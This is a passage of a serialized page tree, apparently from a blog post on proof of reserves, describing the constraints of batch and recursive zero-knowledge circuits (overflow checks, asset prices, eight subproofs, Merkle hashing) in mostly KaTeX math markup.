",[92601],{"type":28,"value":3610},{"type":23,"tag":481,"props":92603,"children":92605},{"className":92604,"style":90579},[1555],[92606],{"type":28,"value":593},{"type":23,"tag":481,"props":92608,"children":92610},{"className":92609,"style":19545},[1555,19086],[92611],{"type":28,"value":19548},{"type":23,"tag":481,"props":92613,"children":92615},{"className":92614},[1555,19086],[92616],{"type":28,"value":74299},{"type":23,"tag":481,"props":92618,"children":92620},{"className":92619,"style":19545},[1555,19086],[92621],{"type":28,"value":92622},"FE",{"type":23,"tag":481,"props":92624,"children":92626},{"className":92625,"style":90579},[1555],[92627],{"type":28,"value":593},{"type":23,"tag":481,"props":92629,"children":92631},{"className":92630,"style":92599},[1555,19086],[92632],{"type":28,"value":92633},"I",{"type":23,"tag":481,"props":92635,"children":92637},{"className":92636,"style":19087},[1555,19086],[92638],{"type":28,"value":92639},"NT",{"type":23,"tag":481,"props":92641,"children":92643},{"className":92642},[1555],[92644],{"type":28,"value":92645},"/512",{"type":28,"value":3935},{"type":23,"tag":2875,"props":92648,"children":92649},{},[92650],{"type":28,"value":92651},"(overflow check)",{"type":28,"value":92653}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":23,"tag":64,"props":92655,"children":92657},{"className":92656},[],[92658],{"type":28,"value":90437},{"type":28,"value":642},{"type":23,"tag":24,"props":92661,"children":92662},{},[92663],{"type":28,"value":92664},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":23,"tag":24,"props":92666,"children":92667},{},[92668],{"type":23,"tag":149,"props":92669,"children":92671},{"alt":48104,"src":92670},"/posts/por/batch-circuit-inputs.png",[],{"type":23,"tag":7092,"props":92673,"children":92675},{"id":92674},"recursive-circuit",[92676],{"type":28,"value":92677},"Recursive Circuit",{"type":23,"tag":24,"props":92679,"children":92680},{},[92681],{"type":28,"value":92682},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":23,"tag":24,"props":92684,"children":92685},{},[92686],{"type":23,"tag":2875,"props":92687,"children":92688},{},[92689],{"type":28,"value":90951},{"type":23,"tag":14178,"props":92691,"children":92692},{},[92693,92697,92702],{"type":23,"tag":77,"props":92694,"children":92695},{},[92696],{"type":28,"value":90969},{"type":23,"tag":77,"props":92698,"children":92699},{},[92700],{"type":28,"value":92701},"Asset prices",{"type":23,"tag":77,"props":92703,"children":92704},{},[92705],{"type":28,"value":90964},{"type":23,"tag":24,"props":92707,"children":92708},{},[92709],{"type":23,"tag":2875,"props":92710,"children":92711},{},[92712],{"type":28,"value":90977},{"type":23,"tag":14178,"props":92714,"children":92715},{},[92716],{"type":23,"tag":77,"props":92717,"children":92718},{},[92719],{"type":28,"value":92720},"8 subproofs",{"type":23,"tag":24,"props":92722,"children":92723},{},[92724],{"type":23,"tag":2875,"props":92725,"children":92726},{},[92727],{"type":28,"value":90998},{"type":23,"tag":14178,"props":92729,"children":92730},{},[92731,93141,93472,93839,94226],{"type":23,"tag":77,"props":92732,"children":92733},{},[92734,93136,93137],{"type":23,"tag":64,"props":92735,"children":92737},{"className":92736},[1527,1528],[92738],{"type":23,"tag":481,"props":92739,"children":92741},{"className":92740},[1533],[92742],{"type":23,"tag":481,"props":92743,"children":92745},{"className":92744,"ariaHidden":1539},[1538],[92746,92882],{"type":23,"tag":481,"props":92747,"children":92749},{"className":92748},[1544],[92750,92754,92759,92764,92769,92774,92779,92784,92789,92794,92799,92804,92809,92814,92819,92824,92829,92834,92839,92844,92849,92854,92859,92864,92869,92873,92878],{"type":23,"tag":481,"props":92751,"children":92753},{"className":92752,"style":90521},[1549],[],{"type":23,"tag":481,"props":92755,"children":92757},{"className":92756},[1555,19086],[92758],{"type":28,"value":19228},{"type":23,"tag":481,"props":92760,"children":92762},{"className":92761},[1555,19086],[92763],{"type":28,"value":90549},{"type":23,"tag":481,"props":92765,"children":92767},{"className":92766},[1555,19086],[92768],{"type":28,"value":19228},{"type":23,"tag":481,"props":92770,"children":92772},{"className":92771},[1555,19086],[92773],{"type":28,"value":190},{"type":23,"tag":481,"props":92775,"children":92777},{"className":92776,"style":90591},[1555,19086],[92778],{"type":28,"value":90594},{"type":23,"tag":481,"props":92780,"children":92782},{"className":92781,"style":90579},[1555],[92783],{"type":28,"value":593},{"type":23,"tag":481,"props":92785,"children":92787},{"className":92786},[1555,19086],[92788],{"type":28,"value":190},{"type":23,"tag":481,"props":92790,"children":92792},{"className":92791},[1555,19086],[92793],{"type":28,"value":90570},{"type":23,"tag":481,"props":92795,"children":92797},{"className":92796},[1555,19086],[92798],{"type":28,"value":19228},{"type":23,"tag":481,"props":92800,"children":92802},{"className":92801,"style":90579},[1555],[92803],{"type":28,"value":593},{"type":23,"tag":481,"props":92805,"children":92807},{"className":92806},[1555,19086],[92808],{"type":28,"value":90587},{"type":23,"tag":481,"props":92810,"children":92812},{"className":92811,"style":90591},[1555,19086],[92813],{"type":28,"value":90594},{"type":23,"tag":481,"props":92815,"children":92817},{"className":92816},[1555,19086],[92818],{"type":28,"value":90600},{"type":23,"tag":481,"props":92820,"children":92822},{"className":92821},[1555,19086],[92823],{"type":28,"value":90606},{"type":23,"tag":481,"props":92825,"children":92827},{"className":92826},[19215],[92828],{"type":28,"value":1269},{"type":23,"tag":481,"props":92830,"children":92832},{"className":92831},[1555,19086],[92833],{"type":28,"value":190},{"type":23,"tag":481,"props":92835,"children":92837},{"className":92836},[1555,19086],[92838],{"type":28,"value":90570},{"type":23,"tag":481,"props":92840,"children":92842},{"className":92841},[1555,19086],[92843],{"type":28,"value":19228},{"type":23,"tag":481,"props":92845,"children":92847},{"className":92846,"style":90579},[1555],[92848],{"type":28,"value":593},{"type":23,"tag":481,"props":92850,"children":92852},{"className":92851},[1555,19086],[92853],{"type":28,"value":53930},{"type":23,"tag":481,"props":92855,"children":92857},{"className":92856},[1555,19086],[92858],{"type":28,"value":90838},{"type":23,"tag":481,"props":92860,"children":92862},{"className":92861},[1555,19086],[92863],{"type":28,"value":48659},{"type":23,"tag":481,"props":92865,"children":92867},{"className":92866},[19237],[92868],{"type":28,"value":12900},{"type":23,"tag":481,"props":92870,"children":92872},{"className":92871,"style":1734},[1636],[],{"type":23,"tag":481,"props":92874,"children":92876},{"className":92875},[1739],[92877],{"type":28,"value":6055},{"type":23,"tag":481,"props":92879,"children":92881},{"className":92880,"style":1734},[1636],[],{"type":23,"tag":481,"props":92883,"children":92885},{"className":92884},[1544],[92886,92890,92895,92900,92905,92910,92915,92920,92926,92985,92990,92995,93000,93005,93010,93015,93020,93025,93031,93036,93041,93046,93051,93056,93061,93066,93071,93076,93081,93086,93091,93096,93101,93106,93111,93116,93121,93126,93131],{"type":23,"tag":481,"props":92887,"children":92889},{"className":92888,"style":90521},[1549],[],{"type":23,"tag":481,"props":92891,"children":92893},{"className":92892},[1555],[92894],{"type":28,"value":91169},{"type":23,"tag":481,"props":92896,"children":92898},{"className":92897},[1636],[92899],{"type":28,"value":19187},{"type":23,"tag":481,"props":92901,"children":92903},{"className":92902},[1555,19086],[92904],{"type":28,"value":8137},{"type":23,"tag":481,"props":92906,"children":92908},{"className":92907},[1555,19086],[92909],{"type":28,"value":90838},{"type":23,"tag":481,"props":92911,"children":92913},{"className":92912},[1555,19086],[92914],{"type":28,"value":739},{"type":23,"tag":481,"props":92916,"children":92918},{"className":92917},[1555,19086],[92919],{"type":28,"value":24},{"type":23,"tag":481,"props":92921,"children":92923},{"className":92922},[1555,19086],[92924],{"type":28,"value":92925},"roo",{"type":23,"tag":481,"props":92927,"children":92929},{"className":92928},[1555],[92930,92936],{"type":23,"tag":481,"props":92931,"children":92934},{"className":92932,"style":92933},[1555,19086],"margin-right:0.10764em;",[92935],{"type":28,"value":30601},{"type":23,"tag":481,"props":92937,"children":92939},{"className":92938},[1572],[92940],{"type":23,"tag":481,"props":92941,"children":92943},{"className":92942},[1577,19140],[92944,92974],{"type":23,"tag":481,"props":92945,"children":92947},{"className":92946},[1582],[92948,92969],{"type":23,"tag":481,"props":92949,"children":92951},{"className":92950,"style":91108},[1587],[92952],{"type":23,"tag":481,"props":92953,"children":92955},{"style":92954},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[92956,92960],{"type":23,"tag":481,"props":92957,"children":92959},{"className":92958,"style":1597},[1596],[],{"type":23,"tag":481,"props":92961,"children":92963},{"className":92962},[1602,1603,1604,1605],[92964],{"type":23,"tag":481,"props":92965,"children":92967},{"className":92966},[1555,19086,1605],[92968],{"type":28,"value":1274},{"type":23,"tag":481,"props":92970,"children":92972},{"className":92971},[19243],[92973],{"type":28,"value":19246},{"type":23,"tag":481,"props":92975,"children":92977},{"className":92976},[1582],[92978],{"type":23,"tag":481,"props":92979,"children":92981},{"className":92980,"style":90662},[1587],[92982],{"type":23,"tag":481,"props":92983,"children":92984},{},[],{"type":23,"tag":481,"props":92986,"children":92988},{"className":92987},[1555],[92989],{"type":28,"value":199},{"type":23,"tag":481,"props":92991,"children":92993},{"className":92992},[1555,19086],[92994],{"type":28,"value":24},{"type":23,"tag":481,"props":92996,"children":92998},{"className":92997},[1555,19086],[92999],{"type":28,"value":90838},{"type":23,"tag":481,"props":93001,"children":93003},{"className":93002},[1555,19086],[93004],{"type":28,"value":739},{"type":23,"tag":481,"props":93006,"children":93008},{"className":93007,"style":90591},[1555,19086],[93009],{"type":28,"value":90594},{"type":23,"tag":481,"props":93011,"children":93013},{"className":93012},[1555,19086],[93014],{"type":28,"value":1274},{"type":23,"tag":481,"props":93016,"children":93018},{"className":93017},[1555,19086],[93019],{"type":28,"value":661},{"type":23,"tag":481,"props":93021,"children":93023},{"className":93022,"style":90579},[1555],[93024],{"type":28,"value":593},{"type":23,"tag":481,"props":93026,"children":93028},{"className":93027},[1555,19086],[93029],{"type":28,"value":93030},"in",{"type":23,"tag":481,"props":93032,"children":93034},{"className":93033},[1555,19086],[93035],{"type":28,"value":24},{"type":23,"tag":481,"props":93037,"children":93039},{"className":93038},[1555,19086],[93040],{"type":28,"value":90838},{"type":23,"tag":481,"props":93042,"children":93044},{"className":93043},[1555,19086],[93045],{"type":28,"value":19228},{"type":23,"tag":481,"props":93047,"children":93049},{"className":93048},[1555],[93050],{"type":28,"value":199},{"type":23,"tag":481,"props":93052,"children":93054},{"className":93053},[1555,19086],[93055],{"type":28,"value":190},{"type":23,"tag":481,"props":93057,"children":93059},{"className":93058},[1555,19086],[93060],{"type":28,"value":90570},{"type":23,"tag":481,"props":93062,"children":93064},{"className":93063},[1555,19086],[93065],{"type":28,"value":19228},{"type":23,"tag":481,"props":93067,"children":93069},{"className":93068,"style":90579},[1555],[93070],{"type":28,"value":593},{"type":23,"tag":481,"props":93072,"children":93074},{"className":93073},[1555,19086],[93075],{"type":28,"value":90587},{"type":23,"tag":481,"props":93077,"children":93079},{"className":93078,"style":90591},[1555,19086],[93080],{"type":28,"value":90594},{"type":23,"tag":481,"props":93082,"children":93084},{"className":93083},[1555,19086],[93085],{"type":28,"value":90600},{"type":23,"tag":481,"props":93087,"children":93089},{"className":93088},[1555,19086],[93090],{"type":28,"value":91409},{"type":23,"tag":481,"props":93092,"children":93094},{"className":93093},[19215],[93095],{"type":28,"value":1269},{"type":23,"tag":481,"props":93097,"children":93099},{"className":93098},[1555,19086],[93100],{"type":28,"value":190},{"type":23,"tag":481,"props":93102,"children":93104},{"className":93103},[1555,19086],[93105],{"type":28,"value":90570},{"type":23,"tag":481,"props":93107,"children":93109},{"className":93108},[1555,19086],[93110],{"type":28,"value":19228},{"type":23,"tag":481,"props":93112,"children":93114},{"className":93113,"style":90579},[1555],[93115],{"type":28,"value":593},{"type":23,"tag":481,"props":93117,"children":93119},{"className":93118},[1555,19086],[93120],{"type":28,"value":53930},{"type":23,"tag":481,"props":93122,"children":93124},{"className":93123},[1555,19086],[93125],{"type":28,"value":90838},{"type":23,"tag":481,"props":93127,"children":93129},{"className":93128},[1555,19086],[93130],{"type":28,"value":48659},{"type":23,"tag":481,"props":93132,"children":93134},{"className":93133},[19237],[93135],{"type":28,"value":12900},{"type":28,"value":3935},{"type":23,"tag":2875,"props":93138,"children":93139},{},[93140],{"type":28,"value":91969},{"type":23,"tag":77,"props":93142,"children":93143},{},[93144],{"type":23,"tag":64,"props":93145,"children":93147},{"className":93146},[1527,1528],[93148],{"type":23,"tag":481,"props":93149,"children":93151},{"className":93150},[1533],[93152],{"type":23,"tag":481,"props":93153,"children":93155},{"className":93154,"ariaHidden":1539},[1538],[93156,93262],{"type":23,"tag":481,"props":93157,"children":93159},{"className":93158},[1544],[93160,93164,93169,93174,93179,93184,93189,93194,93199,93204,93209,93214,93219,93224,93229,93234,93239,93244,93249,93253,93258],{"type":23,"tag":481,"props":93161,"children":93163},{"className":93162,"style":90521},[1549],[],{"type":23,"tag":481,"props":93165,"children":93167},{"className":93166},[1555,19086],[93168],{"type":28,"value":190},{"type":23,"tag":481,"props":93170,"children":93172},{"className":93171},[1555,19086],[93173],{"type":28,"value":90570},{"type":23,"tag":481,"props":93175,"children":93177},{"className":93176},[1555,19086],[93178],{"type":28,"value":19228},{"type":23,"tag":481,"props":93180,"children":93182},{"className":93181,"style":90579},[1555],[93183],{"type":28,"value":593},{"type":23,"tag":481,"props":93185,"children":93187},{"className":93186},[1555,19086],[93188],{"type":28,"value":24},{"type":23,"tag":481,"props":93190,"children":93192},{"className":93191,"style":90579},[1555,19086],[93193],{"type":28,"value":91398},{"type":23,"tag":481,"props":93195,"children":93197},{"className":93196},[1555,19086],[93198],{"type":28,"value":1274},{"type":23,"tag":481,"props":93200,"children":93202},{"className":93201},[1555,19086],[93203],{"type":28,"value":90606},{"type":23,"tag":481,"props":93205,"children":93207},{"className":93206},[19215],[93208],{"type":28,"value":1269},{"type":23,"tag":481,"props":93210,"children":93212},{"className":93211},[1555,19086],[93213],{"type":28,"value":190},{"type":23,"tag":481,"props":93215,"children":93217},{"className":93216},[1555,19086],[93218],{"type":28,"value":90570},{"type":23,"tag":481,"props":93220,"children":93222},{"className":93221},[1555,19086],[93223],{"type":28,"value":19228},{"type":23,"tag":481,"props":93225,"children":93227},{"className":93226,"style":90579},[1555],[93228],{"type":28,"value":593},{"type":23,"tag":481,"props":93230,"children":93232},{"className":93231},[1555,19086],[93233],{"type":28,"value":53930},{"type":23,"tag":481,"props":93235,"children":93237},{"className":93236},[1555,19086],[93238],{"type":28,"value":90838},{"type":23,"tag":481,"props":93240,"children":93242},{"className":93241},[1555,19086],[93243],{"type":28,"value":48659},{"type":23,"tag":481,"props":93245,"children":93247},{"className":93246},[19237],[93248],{"type":28,"value":12900},{"type":23,"tag":481,"props":93250,"children":93252},{"className":93251,"style":1734},[1636],[],{"type":23,"tag":481,"props":93254,"children":93256},{"className":93255},[1739],[93257],{"type":28,"value":6055},{"type":23,"tag":481,"props":93259,"children":93261},{"className":93260,"style":1734},[1636],[],{"type":23,"tag":481,"props":93263,"children":93265},{"className":93264},[1544],[93266,93270,93275,93280,93285,93290,93295,93352,93357,93362,93367,93372,93377,93382,93387,93392,93397,93402,93407,93412,93417,93422,93427,93432,93437,93442,93447,93452,93457,93462,93467],{"type":23,"tag":481,"props":93267,"children":93269},{"className":93268,"style":90521},[1549],[],{"type":23,"tag":481,"props":93271,"children":93273},{"className":93272},[1555,19086],[93274],{"type":28,"value":8137},{"type":23,"tag":481,"props":93276,"children":93278},{"className":93277},[1555,19086],[93279],{"type":28,"value":90838},{"type":23,"tag":481,"props":93281,"children":93283},{"className":93282},[1555,19086],[93284],{"type":28,"value":739},{"type":23,"tag":481,"props":93286,"children":93288},{"className":93287},[1555,19086],[93289],{"type":28,"value":24},{"type":23,"tag":481,"props":93291,"children":93293},{"className":93292},[1555,19086],[93294],{"type":28,"value":92925},{"type":23,"tag":481,"props":93296,"children":93298},{"className":93297},[1555],[93299,93304],{"type":23,"tag":481,"props":93300,"children":93302},{"className":93301,"style":92933},[1555,19086],[93303],{"type":28,"value":30601},{"type":23,"tag":481,"props":93305,"children":93307},{"className":93306},[1572],[93308],{"type":23,"tag":481,"props":93309,"children":93311},{"className":93310},[1577,19140],[93312,93341],{"type":23,"tag":481,"props":93313,"children":93315},{"className":93314},[1582],[93316,93336],{"type":23,"tag":481,"props":93317,"children":93319},{"className":93318,"style":91108},[1587],[93320],{"type":23,"tag":481,"props":93321,"children":93322},{"style":92954},[93323,93327],{"type":23,"tag":481,"props":93324,"children":93326},{"className":93325,"style":1597},[1596],[],{"type":23,"tag":481,"props":93328,"children":93330},{"className":93329},[1602,1603,1604,1605],[93331],{"type":23,"tag":481,"props":93332,"children":93334},{"className":93333},[1555,19086,1605],[93335],{"type":28,"value":1274},{"type":23,"tag":481,"props":93337,"children":93339},{"className":93338},[19243],[93340],{"type":28,"value":19246},{"type":23,"tag":481,"props":93342,"children":93344},{"className":93343},[1582],[93345],{"type":23,"tag":481,"props":93346,"children":93348},{"className":93347,"style":90662},[1587],[93349],{"type":23,"tag":481,"props":93350,"children":93351},{},[],{"type":23,"tag":481,"props":93353,"children":93355},{"className":93354},[1555],[93356],{"type":28,"value":199},{"type":23,"tag":481,"props":93358,"children":93360},{"className":93359},[1555,19086],[93361],{"type":28,"value":24},{"type":23,"tag":481,"props":93363,"children":93365},{"className":93364},[1555,19086],[93366],{"type":28,"value":90838},{"type":23,"tag":481,"props":93368,"children":93370},{"className":93369},[1555,19086],[93371],{"type":28,"value":739},{"type":23,"tag":481,"props":93373,"children":93375},{"className":93374,"style":90591},[1555,19086],[93376],{"type":28,"value":90594},{"type":23,"tag":481,"props":93378,"children":93380},{"className":93379},[1555,19086],[93381],{"type":28,"value":1274},{"type":23,"tag":481,"props":93383,"children":93385},{"className":93384},[1555,19086],[93386],{"type":28,"value":661},{"type":23,"tag":481,"props":93388,"children":93390},{"className":93389,"style":90579},[1555],[93391],{"type":28,"value":593},{"type":23,"tag":481,"props":93393,"children":93395},{"className":93394},[1555,19086],[93396],{"type":28,"value":93030},{"type":23,"tag":481,"props":93398,"children":93400},{"className":93399},[1555,19086],[93401],{"type":28,"value":24},{"type":23,"tag":481,"props":93403,"children":93405},{"className":93404},[1555,19086],[93406],{"type":28,"value":90838},{"type":23,"tag":481,"props":93408,"children":93410},{"className":93409},[1555,19086],[93411],{"type":28,"value":19228},{"type":23,"tag":481,"props":93413,"children":93415},{"className":93414},[1555],[93416],{"type":28,"value":199},{"type":23,"tag":481,"props":93418,"children":93420},{"className":93419},[1555,19086],[93421],{"type":28,"value":190},{"type":23,"tag":481,"props":93423,"children":93425},{"className":93424},[1555,19086],[93426],{"type":28,"value":90570},{"type":23,"tag":481,"props":93428,"children":93430},{"className":93429},[1555,19086],[93431],{"type":28,"value":19228},{"type":23,"tag":481,"props":93433,"children":93435},{"className":93434,"style":90579},[1555],[93436],{"type":28,"value":593},{"type":23,"tag":481,"props":93438,"children":93440},{"className":93439},[1555,19086],[93441],{"type":28,"value":24},{"type":23,"tag":481,"props":93443,"children":93445},{"className":93444,"style":90579},[1555,19086],[93446],{"type":28,"value":91398},{"type":23,"tag":481,"props":93448,"children":93450},{"className":93449},[1555,19086],[93451],{"type":28,"value":1274},{"type":23,"tag":481,"props":93453,"children":93455},{"className":93454},[1555,19086],[93456],{"type":28,"value":91409},{"type":23,"tag":481,"props":93458,"children":93460},{"className":93459},[19215],[93461],{"type":28,"value":1269},{"type":23,"tag":481,"props":93463,"children":93465},{"className":93464},[1555],[93466],{"type":28,"value":1568},{"type":23,"tag":481,"props":93468,"children":93470},{"className":93469},[19237],[93471],{"type":28,"value":12900},{"type":23,"tag":77,"props":93473,"children":93474},{},[93475,93833,93834],{"type":23,"tag":64,"props":93476,"children":93478},{"className":93477},[1527,1528],[93479],{"type":23,"tag":481,"props":93480,"children":93482},{"className":93481},[1533],[93483],{"type":23,"tag":481,"props":93484,"children":93486},{"className":93485,"ariaHidden":1539},[1538],[93487,93593],{"type":23,"tag":481,"props":93488,"children":93490},{"className":93489},[1544],[93491,93495,93500,93505,93510,93515,93520,93525,93530,93535,93540,93545,93550,93555,93560,93565,93570,93575,93580,93584,93589],{"type":23,"tag":481,"props":93492,"children":93494},{"className":93493,"style":90521},[1549],[],{"type":23,"tag":481,"props":93496,"children":93498},{"className":93497},[1555,19086],[93499],{"type":28,"value":190},{"type":23,"tag":481,"props":93501,"children":93503},{"className":93502},[1555,19086],[93504],{"type":28,"value":90570},{"type":23,"tag":481,"props":93506,"children":93508},{"className":93507},[1555,19086],[93509],{"type":28,"value":19228},{"type":23,"tag":481,"props":93511,"children":93513},{"className":93512,"style":90579},[1555],[93514],{"type":28,"value":593},{"type":23,"tag":481,"props":93516,"children":93518},{"className":93517},[1555,19086],[93519],{"type":28,"value":24},{"type":23,"tag":481,"props":93521,"children":93523},{"className":93522,"style":90579},[1555,19086],[93524],{"type":28,"value":91398},{"type":23,"tag":481,"props":93526,"children":93528},{"className":93527},[1555,19086],[93529],{"type":28,"value":1274},{"type":23,"tag":481,"props":93531,"children":93533},{"className":93532},[1555,19086],[93534],{"type":28,"value":90606},{"type":23,"tag":481,"props":93536,"children":93538},{"className":93537},[19215],[93539],{"type":28,"value":1269},{"type":23,"tag":481,"props":93541,"children":93543},{"className":93542},[1555,19086],[93544],{"type":28,"value":190},{"type":23,"tag":481,"props":93546,"children":93548},{"className":93547},[1555,19086],[93549],{"type":28,"value":90570},{"type":23,"tag":481,"props":93551,"children":93553},{"className":93552},[1555,19086],[93554],{"type":28,"value":19228},{"type":23,"tag":481,"props":93556,"children":93558},{"className":93557,"style":90579},[1555],[93559],{"type":28,"value":593},{"type":23,"tag":481,"props":93561,"children":93563},{"className":93562},[1555,19086],[93564],{"type":28,"value":53930},{"type":23,"tag":481,"props":93566,"children":93568},{"className":93567},[1555,19086],[93569],{"type":28,"value":90838},{"type":23,"tag":481,"props":93571,"children":93573},{"className":93572},[1555,19086],[93574],{"type":28,"value":48659},{"type":23,"tag":481,"props":93576,"children":93578},{"className":93577},[19237],[93579],{"type":28,"value":12900},{"type":23,"tag":481,"props":93581,"children":93583},{"className":93582,"style":1734},[1636],[],{"type":23,"tag":481,"props":93585,"children":93587},{"className":93586},[1739],[93588],{"type":28,"value":6055},{"type":23,"tag":481,"props":93590,"children":93592},{"className":93591,"style":1734},[1636],[],{"type":23,"tag":481,"props":93594,"children":93596},{"className":93595},[1544],[93597,93601,93606,93611,93616,93621,93626,93683,93688,93693,93698,93703,93708,93713,93718,93723,93728,93733,93738,93743,93748,93753,93758,93763,93768,93773,93778,93783,93788,93793,93798,93803,93808,93813,93818,93823,93828],{"type":23,"tag":481,"props":93598,"children":93600},{"className":93599,"style":90521},[1549],[],{"type":23,"tag":481,"props":93602,"children":93604},{"className":93603},[1555,19086],[93605],{"type":28,"value":8137},{"type":23,"tag":481,"props":93607,"children":93609},{"className":93608},[1555,19086],[93610],{"type":28,"value":90838},{"type":23,"tag":481,"props":93612,"children":93614},{"className":93613},[1555,19086],[93615],{"type":28,"value":739},{"type":23,"tag":481,"props":93617,"children":93619},{"className":93618},[1555,19086],[93620],{"type":28,"value":24},{"type":23,"tag":481,"props":93622,"children":93624},{"className":93623},[1555,19086],[93625],{"type":28,"value":92925},{"type":23,"tag":481,"props":93627,"children":93629},{"className":93628},[1555],[93630,93635],{"type":23,"tag":481,"props":93631,"children":93633},{"className":93632,"style":92933},[1555,19086],[93634],{"type":28,"value":30601},{"type":23,"tag":481,"props":93636,"children":93638},{"className":93637},[1572],[93639],{"type":23,"tag":481,"props":93640,"children":93642},{"className":93641},[1577,19140],[93643,93672],{"type":23,"tag":481,"props":93644,"children":93646},{"className":93645},[1582],[93647,93667],{"type":23,"tag":481,"props":93648,"children":93650},{"className":93649,"style":91108},[1587],[93651],{"type":23,"tag":481,"props":93652,"children":93653},{"style":92954},[93654,93658],{"type":23,"tag":481,"props":93655,"children":93657},{"className":93656,"style":1597},[1596],[],{"type":23,"tag":481,"props":93659,"children":93661},{"className":93660},[1602,1603,1604,1605],[93662],{"type":23,"tag":481,"props":93663,"children":93665},{"className":93664},[1555,19086,1605],[93666],{"type":28,"value":1274},{"type":23,"tag":481,"props":93668,"children":93670},{"className":93669},[19243],[93671],{"type":28,"value":19246},{"type":23,"tag":481,"props":93673,"children":93675},{"className":93674},[1582],[93676],{"type":23,"tag":481,"props":93677,"children":93679},{"className":93678,"style":90662},[1587],[93680],{"type":23,"tag":481,"props":93681,"children":93682},{},[],{"type":23,"tag":481,"props":93684,"children":93686},{"className":93685},[1555],[93687],{"type":28,"value":199},{"type":23,"tag":481,"props":93689,"children":93691},{"className":93690},[1555,19086],[93692],{"type":28,"value":24},{"type":23,"tag":481,"props":93694,"children":93696},{"className":93695},[1555,19086],[93697],{"type":28,"value":90838},{"type":23,"tag":481,"props":93699,"children":93701},{"className":93700},[1555,19086],[93702],{"type":28,"value":739},{"type":23,"tag":481,"props":93704,"children":93706},{"className":93705,"style":90591},[1555,19086],[93707],{"type":28,"value":90594},{"type":23,"tag":481,"props":93709,"children":93711},{"className":93710},[1555,19086],[93712],{"type":28,"value":1274},{"type":23,"tag":481,"props":93714,"children":93716},{"className":93715},[1555,19086],[93717],{"type":28,"value":661},{"type":23,"tag":481,"props":93719,"children":93721},{"className":93720,"style":90579},[1555],[93722],{"type":28,"value":593},{"type":23,"tag":481,"props":93724,"children":93726},{"className":93725},[1555,19086],[93727],{"type":28,"value":93030},{"type":23,"tag":481,"props":93729,"children":93731},{"className":93730},[1555,19086],[93732],{"type":28,"value":24},{"type":23,"tag":481,"props":93734,"children":93736},{"className":93735},[1555,19086],[93737],{"type":28,"value":90838},{"type":23,"tag":481,"props":93739,"children":93741},{"className":93740},[1555,19086],[93742],{"type":28,"value":19228},{"type":23,"tag":481,"props":93744,"children":93746},{"className":93745},[1555],[93747],{"type":28,"value":199},{"type":23,"tag":481,"props":93749,"children":93751},{"className":93750},[1555,19086],[93752],{"type":28,"value":190},{"type":23,"tag":481,"props":93754,"children":93756},{"className":93755},[1555,19086],[93757],{"type":28,"value":90570},{"type":23,"tag":481,"props":93759,"children":93761},{"className":93760},[1555,19086],[93762],{"type":28,"value":19228},{"type":23,"tag":481,"props":93764,"children":93766},{"className":93765,"style":90579},[1555],[93767],{"type":28,"value":593},{"type":23,"tag":481,"props":93769,"children":93771},{"className":93770},[1555,19086],[93772],{"type":28,"value":24},{"type":23,"tag":481,"props":93774,"children":93776},{"className":93775,"style":90579},[1555,19086],[93777],{"type":28,"value":91398},{"type":23,"tag":481,"props":93779,"children":93781},{"className":93780},[1555,19086],[93782],{"type":28,"value":1274},{"type":23,"tag":481,"props":93784,"children":93786},{"className":93785},[1555,19086],[93787],{"type":28,"value":91409},{"type":23,"tag":481,"props":93789,"children":93791},{"className":93790},[19215],[93792],{"type":28,"value":1269},{"type":23,"tag":481,"props":93794,"children":93796},{"className":93795},[1555,19086],[93797],{"type":28,"value":190},{"type":23,"tag":481,"props":93799,"children":93801},{"className":93800},[1555,19086],[93802],{"type":28,"value":90570},{"type":23,"tag":481,"props":93804,"children":93806},{"className":93805},[1555,19086],[93807],{"type":28,"value":19228},{"type":23,"tag":481,"props":93809,"children":93811},{"className":93810,"style":90579},[1555],[93812],{"type":28,"value":593},{"type":23,"tag":481,"props":93814,"children":93816},{"className":93815},[1555,19086],[93817],{"type":28,"value":53930},{"type":23,"tag":481,"props":93819,"children":93821},{"className":93820},[1555,19086],[93822],{"type":28,"value":90838},{"type":23,"tag":481,"props":93824,"children":93826},{"className":93825},[1555,19086],[93827],{"type":28,"value":48659},{"type":23,"tag":481,"props":93829,"children":93831},{"className":93830},[19237],[93832],{"type":28,"value":12900},{"type":28,"value":3935},{"type":23,"tag":2875,"props":93835,"children":93836},{},[93837],{"type":28,"value":93838},"(verifies if all asset prices are the same)",{"type":23,"tag":77,"props":93840,"children":93841},{},[93842,94221,94222],{"type":23,"tag":64,"props":93843,"children":93845},{"className":93844},[1527,1528],[93846],{"type":23,"tag":481,"props":93847,"children":93849},{"className":93848},[1533],[93850],{"type":23,"tag":481,"props":93851,"children":93853},{"className":93852,"ariaHidden":1539},[1538],[93854,93935],{"type":23,"tag":481,"props":93855,"children":93857},{"className":93856},[1544],[93858,93862,93867,93872,93877,93882,93887,93892,93897,93902,93907,93912,93917,93922,93926,93931],{"type":23,"tag":481,"props":93859,"children":93861},{"className":93860,"style":91992},[1549],[],{"type":23,"tag":481,"props":93863,"children":93865},{"className":93864},[1555,19086],[93866],{"type":28,"value":48659},{"type":23,"tag":481,"props":93868,"children":93870},{"className":93869,"style":90579},[1555,19086],[93871],{"type":28,"value":92004},{"type":23,"tag":481,"props":93873,"children":93875},{"className":93874,"style":92008},[1555,19086],[93876],{"type":28,"value":86216},{"type":23,"tag":481,"props":93878,"children":93880},{"className":93879,"style":90591},[1555,19086],[93881],{"type":28,"value":90594},{"type":23,"tag":481,"props":93883,"children":93885},{"className":93884},[1555,19086],[93886],{"type":28,"value":48980},{"type":23,"tag":481,"props":93888,"children":93890},{"className":93889,"style":90579},[1555],[93891],{"type":28,"value":593},{"type":23,"tag":481,"props":93893,"children":93895},{"className":93894},[1555,19086],[93896],{"type":28,"value":19228},{"type":23,"tag":481,"props":93898,"children":93900},{"className":93899},[1555,19086],[93901],{"type":28,"value":92036},{"type":23,"tag":481,"props":93903,"children":93905},{"className":93904,"style":90579},[1555],[93906],{"type":28,"value":593},{"type":23,"tag":481,"props":93908,"children":93910},{"className":93909},[1555,19086],[93911],{"type":28,"value":92047},{"type":23,"tag":481,"props":93913,"children":93915},{"className":93914},[1555,19086],[93916],{"type":28,"value":8137},{"type":23,"tag":481,"props":93918,"children":93920},{"className":93919},[1555,19086],[93921],{"type":28,"value":81877},{"type":23,"tag":481,"props":93923,"children":93925},{"className":93924,"style":1734},[1636],[],{"type":23,"tag":481,"props":93